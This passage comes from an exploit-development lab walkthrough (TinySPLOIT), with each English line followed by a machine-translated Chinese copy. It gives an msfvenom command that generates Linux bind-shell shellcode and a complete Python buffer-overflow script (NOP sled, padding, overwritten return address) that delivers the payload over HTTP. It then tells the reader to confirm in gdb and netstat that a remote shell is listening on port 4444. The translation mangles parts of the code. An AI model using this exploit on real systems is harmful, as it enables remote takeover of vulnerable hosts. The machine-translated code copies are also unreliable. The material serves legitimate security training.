To generate Python shellcode excluding the characters 0, 10, and 13, execute this command:要生成不包含字符0,10和13的Python shellcode,请执行以下命令:
msfvenom -p linux/x86/shell_bind_tcp -f python -b "\x00\x0a\x0d" msfvenom -p linux / x86 / shell_bind_tcp -f python -b“\ x00 \ x0a \ x0d”
Python code appears, as shown below.出现Python代码,如下所示。

Highlight the code, right-click it, and copy it into the clipboard, as shown below.突出显示代码,右键单击它,然后将其复制到剪贴板中,如下所示。

Task 8: Completing the Exploit任务8:完成漏洞利用

Ex6: Using Real Shellcode例6:使用Real Shellcode

On your attacking system, using a text editor, such as nano or Notepad, create this program, and name it ex6.py在攻击系统上,使用文本编辑器(如nano或Notepad)创建此程序,并将其命名为ex6.py

Paste in the code from the clipboard so your screen resembles the image below.粘贴剪贴板中的代码,使屏幕类似于下图。

Next insert this code above the lines you pasted in, as shown below.接下来,将此代码插入到您粘贴的行上方,如下所示。

Change the IP address to the correct IP address of your Linux target.将IP地址更改为Linux目标的正确IP地址。

import socket导入套接字
s = socket.socket() s = socket.socket()

s.connect(("172.16.1.249", 80)) s.connect((“172.16.1.249”,80))

nopsled = "\x90" * 20 nopsled =“\ x90”* 20
Finally, add these lines at the bottom, as shown below.最后,在底部添加这些行,如下所示。

Change the IP address to the correct IP address of your Linux target.将IP地址更改为Linux目标的正确IP地址。

padding = "A" * (179 - len(buf) - len(nopsled)) padding =“A”*(179  -  len(buf) -  len(nopsled))
eip = "\x02\x91\x04\x08" eip =“\ x02 \ x91 \ x04 \ x08”

attack = nopsled + buf + padding + eip attack = nopsled + buf + padding + eip

req = "GET " + attack req =“GET”+攻击
req += " HTTP/1.1\r\n" req + =“HTTP / 1.1 \ r \ n”
req += "Host: 172.16.1.249\r\n\r\n" req + =“主机:172.16.1.249 \ r \ n \ r \ n”

s.send(req) s.send(REQ)
print s.recv(1024) print s.recv(1024)
Save the code.保存代码。

Restarting the Debugging Session重新启动调试会话

In the SSH session controlling your target system, In the gdb session, press q and press Enter .在控制目标系统的SSH会话中,在gdb会话中,按q并按Enter键 If a "Quit anyway? (y or n)?"如果“无论如何退出?(是或否)?” message appears, press y and press Enter .出现消息,按y并按Enter键

Execute these commands, replacing the "722" with the correct process id for your target.执行这些命令,将“722”替换为目标的正确进程ID。

gdb --pid=722 gdb --pid = 722
c C 
Execute this command to run the program.执行此命令以运行该程序。
python ex6.py python ex6.py
Now the target doesn't crash or halt.现在目标不会崩溃或停止。 It runs, and gdb shows that a "New process" has launched, as shown below.它运行,gdb显示已启动“新进程”,如下所示。

In gdb, press Ctrl+C .在gdb中,按Ctrl + C. Press q and press Enter .q并按Enter键 If a "Quit anyway? (y or n)?"如果“无论如何退出?(是或否)?” message appears, press y and press Enter .出现消息,按y并按Enter键


ED 207.1 Remote Shell (15 pts) ED 207.1遥控外壳(15分)

In the SSH session controlling your target system, execute this command to see network status:在控制目标系统的SSH会话中,执行此命令以查看网络状态:
netstat -pant netstat -pant
You see a process listening on port 4444 as shown below.您会看到一个进程正在侦听端口4444 ,如下所示。

The flag is covered by a green box in the image below.该标志由下图中的绿色框覆盖。


Sources来源

TinySPLOIT - Warm-up exercise on Exploit Development TinySPLOIT - 利用漏洞利用开发的热身练习

Posted 1-22-18 by Sam Bowne由Sam Bowne发表1-22-18
Revised with nexti to proceed from leave to ret 2-8-18与nexti一起修改以从2-8-18退出